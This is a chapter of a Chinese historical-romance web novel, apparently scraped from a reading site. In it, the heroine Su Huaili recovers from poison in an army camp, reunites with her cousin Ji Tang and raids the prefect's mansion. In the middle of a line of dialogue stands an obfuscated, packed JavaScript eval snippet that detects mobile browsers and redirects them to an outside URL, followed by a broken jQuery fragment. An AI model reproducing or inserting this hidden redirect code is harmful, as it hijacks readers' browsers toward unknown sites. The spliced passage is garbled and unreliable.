营帐中,青瓷镂空香炉内升起袅袅白烟,一位面若海棠,脸色苍白的姑娘躺在黑木行军榻上,在几个军医的合力搀扶下,终于将一碗浓黑的药一滴不落地灌入她的口中。
季棠将人扶稳重新躺下,又掖了掖她身上的羊绒毛毯,担忧道:“军医,我妹妹究竟什么时候才能清醒?”
军医用铜箸拨了拨香炉内的药灰,重新放了一个药饼,又阖上香炉盖。
“瘴气凶悍,非顷刻间便能化解,不过姑娘早就提前服了解药,并未伤及心脉,待体内毒气降解,自然就会清醒。”
饶是如此,季棠还是不愤,抬眸瞪了吴宴一眼。
吴宴身为一城都尉,大军的统帅,从来没受过这样的憋屈,更何况是受一介女子的怨怼。
但自从得知苏怀黎真实身份后,他大气也不敢出,恨不得日夜焚香祷告,乞求她下一刻就能苏醒。
天地良心,他设瘴气野怪,不过是为了防止他居心叵测的兄长一再骚扰,谁知道小小的苍海郡,竟然找来了这几位神仙。
如今说这些也为时晚矣。
好在苏怀黎不负所托,昏迷一天一夜之后,终于有了苏醒的迹象。
她一睁眼,便见到一群人围在身边,她还从未被这么多人围观过睡觉,刚清醒的那一刻,恨不得佯装再次昏过去。
但她一苏醒,便有士兵欢呼振奋,急冲着出去报信。
霜月见她清醒了,也是喜不自胜:“小姐,您终于醒了!”
苏怀黎硬着头皮,撑开眼睛:“霜月,这究竟是怎么一回事,怎么这么多人……”
霜月将人扶起靠坐着,解释道:“这些都是季小姐的手笔。”
季棠这几年在军营中混得风生水起,性子也同一个男子一般大大咧咧,有人欺负她的妹妹,以她睚眦必报的性格,便要让其以十倍百倍偿还。
在她眼中,苏怀黎会中毒昏迷,全是吴宴和他军中将士的错。
吴宴自知理亏在先,又都斗不过季棠的牙尖嘴利,便把军中将士如数奉上。
季棠要求也不高,只让军中有头有脸的将士都在营帐中守着,心怀虔诚,祈祷苏怀黎尽快醒过来。
吴宴哪受过这样的屈辱,义正言辞地争取道:“士兵们未来都是要上战场,驱逐外敌为国争光的,军中的铁律,每一位士兵都不能懈怠半分,怎么能因为一个姑娘,就坏了纪律,成天守在营中,像什么话?”
季棠却嗤之以鼻:“吴都尉,你带兵训练这么久,可曾真正上过战场过一回?这是苍海郡,又不是西州,你少在我面前摆谱,你要是再多说几句,你也给我在营中守着。”
吴宴被她气得面色青红交错,但就是找不出半句反驳的话,只能摔门而去。
在西州,季棠虽说已经升到了士官阶级,但在堂堂都尉面前,还是不够看的,却没想到三言两语,竟然也把吴宴唬住了。
苏怀黎不禁失笑:“当真是有趣。”
霜月连连附和:“是的呢小姐,你没见到吴都尉那张脸,青一块红一块的,太精彩了。”
霜月虽然没有像季棠如此嚣张地替苏怀黎出头,但心中也是有怨言的。
好端端的一个人,入了林子之后就昏迷不醒,给她担心坏了。
此次闯入林中的一百余人中,那一百精锐都是祝无恙在手底下严格训练出来的,牛高马大,身强力壮,她与季棠同样也是在军营里摸爬滚打上来的,身体素质自然不必说。
有了解药,她们入林之后,身体竟然未感到丝毫不适。
但苏怀黎却险些被要了半条命,哪怕是苏醒之后,脸上还是不见一丝血色。
以往霜月在执行任务时,从未有这样的感受,他们跟着祝无恙过的是刀尖舔血的日子,稍有不慎,昨日还在一块吃饭的同僚,今日可能就领回一具冰冷的尸体。
久而久之,她便也就麻木了。
自从跟了苏怀黎之后,她意外地发觉,自己竟然变成了有血有肉的个体,会担心、害怕、心疼。
并不是为了光荣牺牲之后,家人能获得一笔丰厚的“抚恤金”,而是那种发自内心、不计代价地想要为一个人好。
霜月心绪极乱:“小姐,以后这种冒险的事就让奴婢来的,奴婢的命不值钱。”
苏怀黎伸手点了点她的发髻,轻声呵斥道:“以后不许再有这种想法。”
“季棠人呢?我醒来这么久,怎么不见她的人影?”
霜月的愁绪被她一句话打断,也愣了愣:“约莫半个时辰前,季小姐说她腹痛难忍,要去茅厕解手,怎的去了这么久?不会是出什么意外了吧。”
苏怀黎刚醒,她一时半会不愿意离身,便随便招呼了一个小兵,出去打探一下。
没一会,一名女子便风驰电掣地闯了进来。
她一身红衣劲装,满头乌发扎成一个高高的马尾,五官出挑,又因常年混迹军中,眉眼间硬是生了几分英气,杂糅了女子的明媚和男子的飒气。
霜月第一眼见到她时,就不禁感慨道,此间竟然有与小姐如此相像之人。
眉眼间的相似占了五分,三庭五眼的分布又占了三分,但论性格,季棠举止略显粗犷豪迈,总能口出惊言,全然不似苏怀黎清冷淡雅的性子。
季棠一推开辕门便直奔行军床前,看着苏怀黎憔悴柔弱的模样,想抱抱她,却又怕下手太重弄疼她。
一时间竟然一句话也说不出来。
苏怀黎抬手细细抚摸过她的眉眼,前世自己愚钝,错失了与亲人相认的机会,自从知道季棠的真实身份之后,每每想起她,自己无时无刻不在后悔。
季棠与她印象中的模样毫无二致,爱穿一袭红衣,霜月说季小姐性子豪放,为人爽快,但季棠见到她之后反倒变得犹犹豫豫,想亲近却又不敢。
“表姐,这些年,辛苦你了。”
钟离氏族受信王一案连累,全族流放,哪怕是外嫁之后回归本家的女儿也难逃牵连。
季棠撑了一口气,拼了命也要在军营里熬出头,届时挣一份军功,才能完成外祖父的夙愿。
苏怀黎一开口,季棠便忍不住掉了眼泪,她紧紧地回抱她,声音哽咽:“外祖父临死前告诉我,其实我还有一个妹妹活在世上,我本想一死了之,是他给我了最后一个活下去的信念。”
去往西北的路途苦寒,半数犯人顶不住恶劣的环境,相继倒在了途中,钟离渊临走前交代季棠,日后无论多么艰辛,都得活下去,替外祖父去见见他那个未曾谋面的外孙女,否则他死也不会瞑目。
季棠知道,外祖父那样交代,是怕她在举目无亲之时寻了短见,给她一个活下去的执念。
饶是不能相认,哪怕是能远远地见苏怀黎一面,也好。
苏怀黎满心愧疚,一时间心绪大恸,恰好军医赶到,忙阻止了二人。
“恸哭伤身,苏姑娘刚刚恢复了点元气,不可过度沉溺于悲伤的情绪。”
季棠一听,立刻止住了眼泪,抬袖擦了擦,交代道:“妹妹,你听军医的话,养好身体,我出去一趟。”
突如其来的转变让苏怀黎一时难以消化,怔忡道:“你急着出去做什么?”
季棠恨恨道:“那个吴都尉,竟然敢在我饭里下泻药!此仇不报非女子!”
没等苏怀黎反应过来,季棠又风风火火地冲了出去,当真让人扶额。
一个季棠就搅得军营怨声载道的,就连霜月都感慨,吴都尉也是碰到铁板了。
为了尽早恢复身体,苏怀黎捏着鼻子又喝下一碗黑乎乎的汤药,汤药是军中独家秘方,军医拍着胸脯保证,不出一日她便能痊愈。
搁下药碗之后,她便问到:“霜月,太守府可有什么动静?”
府上贵客不辞而别,几十个随行的仆人骤然撤出府邸,吴望轩不可能没有察觉。
好在霜月对此事十分上心,不眠不休守着苏怀黎的时候,她还是让吴宴差人去打探消息。
“自从小姐失踪之后,吴望轩便以重金为赏头,下了通缉令,全城追捕您的下落。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738435|163872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
一切果真如苏怀黎所料,那对母子见钱眼开,毫不犹豫地出卖了她,既然如此,她也没有留情面的必要了。
她面色严肃,口吻极淡:“我要见吴都尉。”
吴宴正被季棠刁难,一听苏怀黎想见他,匆忙地跑开了。
他一改强硬的姿态,见面便给她躬身行礼。
苏怀黎也不过多废话:“吴都尉,苍海的兵有多少能听我的差遣?”
吴宴毫不犹豫道:“军营全体将士,听候郡主差遣。”
他守着父亲传承下来的那块红玉,守了近十年,心中只牢牢记住父亲临走前的那一句话,日后若有人拿着这块红玉见你,不论对方让你做什么,你都不能有违逆半点。
他十年如一日地练兵,不敢有半分懈怠,就是为了有朝一日,能完成父亲的遗愿。
苏怀黎抬起衣袖,掩面轻咳一声,而后又问道:“对于吴太守和王夫人,你有何要交代的?”
吴望轩既然选择投奔贺绍,不惜重金悬赏她的人头,那日后见面少不了刀剑相向,她秘密来到苍海借兵一事,不能让贺绍知道,太守府上下,没人能逃得了。
死人,才是不会开口的。
吴恙眉心一拧:“他们二人,贪多贪大,但胆魄却不够,我无力为他们辩驳,只希望郡主,饶他们一命。”
饶是他再厌烦和恶心嫡母和兄长的种种行径,但也没对他们动过杀心。那毕竟是父亲的妻子和孩子,他于心不忍。
“好,我答应你。”
是夜,苏怀黎同季棠、霜月,领着一队人马,浩浩荡荡地赶往太守府。
吴望轩平日里管辖苍海郡,用的都是一些守卫兵,根本抵不过吴宴精心训练的军队,三两下便被掣肘,整个苍海郡霎时间便被吴宴的军队接管。
消息还没来得及传到太守府,苏怀黎就已经领兵包围了府邸。
吴望轩这几日除了拷打审问柳清院的下人,企图从他们口中撬出有关苏怀黎的消息,其他时间都在寻欢作乐,纸醉金迷,好好地享用着刘忠良不远千里带来的美眷。
待铁蹄踹破太守府的大门时,他才从美梦中苏醒过来。
吴望轩衣衫不整地从床上滚了下来,看着那张让自己日夜魂牵梦萦的脸,第一反应是,人抓到了?
再四下一看,一众身披甲胄的士兵,手上举着火炬,团团将他围住。
他顿感不妙:“苏、苏小姐……你这是作何?”
苏怀黎淡道:“听闻吴太守差人四处找我,用重金悬赏我的项上人头?”
此时,一道娇丽的身影,冲上前狠狠地给了他一巴掌:“吴望轩,你这个王八蛋!”
吴望轩身居高位已久,是一城的父母官,别说是被掴掌,就是半句忤逆的话,他也不曾听过,一时间呆愣在地上。
锦瑟今日随苏怀黎一道回府,回府之后她就立刻回柳清院寻阿雅,结果房内空无一人,最后是在一处刑房中找到浑身血污的阿雅。
吴望轩为了从阿雅口中撬出苏怀黎一行人的消息,不惜动用私刑。
短短两日,阿雅受尽折磨,吴望轩知道她最爱抚琴作画,便百般折磨她的双手,导致她双手红/肿不堪,几乎不能动弹。
好在人的神智尚清,见到锦瑟后眼睛瞬间就亮了:“锦瑟,我什么都没说,真的。”
锦瑟顿感悲痛:“当初我让你和我一起走,你为什么不愿意?!”
锦瑟知道,阿雅与她不同,她心肠硬,只要能活下去,对谁都能无情,阿雅对吴望轩当真有情,哪怕在府上当个妾室,也尽心尽力地服侍他。
季棠进城之后,阿雅将一切都告诉了季棠,但阿雅固执,不愿意离开太守府,锦瑟在客栈等了多时,迟迟未等到人。
如今,却落得这般下场。
锦瑟盛怒难平,抬手又给了他一巴掌,却被他反手牵制住,右掌直抵咽喉。
吴望轩死死地掐住她的脖子,狠厉地抬眸看苏怀黎:“你若不想她死,就放我一马。”